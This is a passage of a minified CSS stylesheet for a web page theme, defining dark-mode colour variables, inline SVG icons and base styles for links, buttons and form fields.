12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark;--service-bg-hover:#22292F}}[data-theme="dark"]{--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark}progress,[type="checkbox"],[type="radio"],[type="range"]{accent-color:var(--primary)}*,*::before,*::after{box-sizing:border-box;background-repeat:no-repeat}::before,::after{text-decoration:inherit;vertical-align:inherit}:where(#mount){-webkit-tap-highlight-color:transparent;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;text-size-adjust:100%;background-color:var(--background-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);line-height:var(--line-height);font-family:var(--font-family);text-rendering:optimizeLegibility;overflow-wrap:break-word;cursor:default;-moz-tab-size:4;-o-tab-size:4;tab-size:4}main{display:block}#mount{width:100%;margin:0}#mount>header,#mount>main,#mount>footer{width:100%;margin-right:auto;margin-left:auto;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal)}@media (min-width:576px){#mount>header,#mount>main,#mount>footer{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer{max-width:700px}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer{max-width:920px}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer{max-width:1130px}}.container,.container-fluid{width:100%;margin-right:auto;margin-left:auto;padding-right:var(--spacing);padding-left:var(--spacing)}@media (min-width:576px){.container{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){.container{max-width:700px}}@media (min-width:992px){.container{max-width:920px}}@media (min-width:1200px){.container{max-width:1130px}}section{margin-bottom:var(--block-spacing-vertical)}.grid{grid-column-gap:var(--grid-spacing-horizontal);grid-row-gap:var(--grid-spacing-vertical);display:grid;grid-template-columns:1fr;margin:0}@media (min-width:992px){.grid{grid-template-columns:repeat(auto-fit,minmax(0%,1fr))}}.grid>*{min-width:0}figure{display:block;margin:0;padding:0;overflow-x:auto}figure figcaption{padding:calc(var(--spacing)*0.5)0;color:var(--muted-color)}b,strong{font-weight:bolder}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}address,blockquote,dl,figure,form,ol,p,pre,table,ul{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-style:normal;font-weight:var(--font-weight);font-size:var(--font-size)}a,[role="link"]{--color:var(--primary);--background-color:transparent;outline:none;background-color:var(--background-color);color:var(--color);-webkit-text-decoration:var(--text-decoration);text-decoration:var(--text-decoration);transition:background-color var(--transition),color var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition)}a:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--color:var(--primary-hover);--text-decoration:underline}a:focus,[role="link"]:focus{--background-color:var(--primary-focus)}a.secondary,[role="link"].secondary{--color:var(--secondary)}a.secondary:is([aria-current],:hover,:active,:focus),[role="link"].secondary:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}a.secondary:focus,[role="link"].secondary:focus{--background-color:var(--secondary-focus)}a.contrast,[role="link"].contrast{--color:var(--contrast)}a.contrast:is([aria-current],:hover,:active,:focus),[role="link"].contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}a.contrast:focus,[role="link"].contrast:focus{--background-color:var(--contrast-focus)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);font-family:var(--font-family)}h1{--color:var(--h1-color)}h2{--color:var(--h2-color)}h3{--color:var(--h3-color)}h4{--color:var(--h4-color)}h5{--color:var(--h5-color)}h6{--color:var(--h6-color)}:where(address,blockquote,dl,figure,form,ol,p,pre,table,ul)~:is(h1,h2,h3,h4,h5,h6){margin-top:var(--typography-spacing-vertical)}hgroup,.headings{margin-bottom:var(--typography-spacing-vertical)}hgroup>*,.headings>*{margin-bottom:0}hgroup>*:last-child,.headings>*:last-child{--color:var(--muted-color);--font-weight:unset;font-size:1rem;font-family:unset}p{margin-bottom:var(--typography-spacing-vertical)}small{font-size:var(--font-size)}:where(dl,ol,ul){padding-right:0;padding-left:var(--spacing);-webkit-padding-start:var(--spacing);padding-inline-start:var(--spacing);-webkit-padding-end:0;padding-inline-end:0}:where(dl,ol,ul) li{margin-bottom:calc(var(--typography-spacing-vertical)*0.25)}:where(dl,ol,ul) :is(dl,ol,ul){margin:0;margin-top:calc(var(--typography-spacing-vertical)*0.25)}ul li{list-style:square}mark{padding:0.125rem 0.25rem;background-color:var(--mark-background-color);color:var(--mark-color);vertical-align:baseline}blockquote{display:block;margin:var(--typography-spacing-vertical)0;padding:var(--spacing);border-right:none;border-left:0.25rem solid var(--blockquote-border-color);-webkit-border-start:0.25rem solid var(--blockquote-border-color);border-inline-start:0.25rem solid var(--blockquote-border-color);-webkit-border-end:none;border-inline-end:none}blockquote footer{margin-top:calc(var(--typography-spacing-vertical)*0.5);color:var(--blockquote-footer-color)}abbr[title]{border-bottom:1px dotted;text-decoration:none;cursor:help}ins{color:var(--ins-color);text-decoration:none}del{color:var(--del-color)}::-moz-selection{background-color:var(--primary-focus)}::selection{background-color:var(--primary-focus)}:where(audio,canvas,iframe,img,svg,video){vertical-align:middle}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}:where(iframe){border-style:none}img{max-width:100%;height:auto;border-style:none}:where(svg:not([fill])){fill:currentColor}svg:not(#mount){overflow:hidden}button{margin:0;overflow:visible;font-family:inherit;text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button{display:block;width:100%;margin-bottom:var(--spacing)}[role="button"]{display:inline-block;text-decoration:none}button,input[type="submit"],input[type="button"],input[type="reset"],[role="button"]{--background-color:var(--primary);--border-color:var(--primary);--color:var(--primary-inverse);--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}button:is([aria-current],:hover,:active,:focus),input[type="submit"]:is([aria-current],:hover,:active,:focus),input[type="button"]:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus),[role="button"]:is([aria-current],:hover,:active,:focus){--background-color:var(--primary-hover);--border-color:var(--primary-hover);--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0));--color:var(--primary-inverse)}button:focus,input[type="submit"]:focus,input[type="button"]:focus,input[type="reset"]:focus,[role="button"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--primary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary,input[type="reset"]{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);cursor:pointer}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:focus,input[type="reset"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--secondary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast{--background-color:var(--contrast);--border-color:var(--contrast);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:is([aria-current],:hover,:active,:focus){--background-color:var(--contrast-hover);--border-color:var(--contrast-hover);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--contrast-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline,input[type="reset"].outline{--background-color:transparent;--color:var(--primary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--background-color:transparent;--color:var(--primary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary,input[type="reset"].outline{--color:var(--secondary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast{--color:var(--contrast)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}:where(button,[type="submit"],[type="button"],[type="reset"],[role="button"])[disabled],:where(fieldset[disabled]) :is(button,[type="submit"],[type="button"],[type="reset"],[role="button"]),a[role="button"]:not([href]){opacity:0.5;pointer-events:none}input,optgroup,select,textarea{margin:0;font-size:1rem;line-height:var(--line-height);font-family:inherit;letter-spacing:inherit}input{overflow:visible}select{text-transform:none}legend{max-width:100%;padding:0;color:inherit;white-space:normal}textarea{overflow:auto}[type="checkbox"],[type="radio"]{padding:0}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}::-moz-focus-inner{padding:0;border-style:none}:-moz-focusring{outline:none}:-moz-ui-invalid{box-shadow:none}::-ms-expand{display:none}[type="file"],[type="range"]{padding:0;border-width:0}input:not([type="checkbox"],[type="radio"],[type="range"]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2)}fieldset{margin:0;margin-bottom:var(--spacing);padding:0;border:0}label,fieldset legend{display:block;margin-bottom:calc(var(--spacing)*0.25);font-weight:var(--form-label-font-weight,var(--font-weight))}input:not([type="checkbox"],[type="radio"]),select,textarea{width:100%}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]),select,textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal)}input,select,textarea{--background-color:var(--form-element-background-color);--border-color:var(--form-element-border-color);--color:var(--form-element-color);--box-shadow:none;border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}input:not([type="submit"],[type="button"],[type="reset"],[type="checkbox"],[type="radio"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--background-color:var(--form-element-active-background-color)}input:not([type="submit"],[type="button"],[type="reset"],[role="switch"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--border-color:var(--form-element-active-border-color)}input:not([type="submit"],[type="button"],[type="reset"],[type="range"],[type="file"],[readonly]):focus,select:focus,textarea:focus{--box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}input:not([type="submit"],[type="button"],[type="reset"])[disabled],select[disabled],textarea[disabled],:where(fieldset[disabled]) 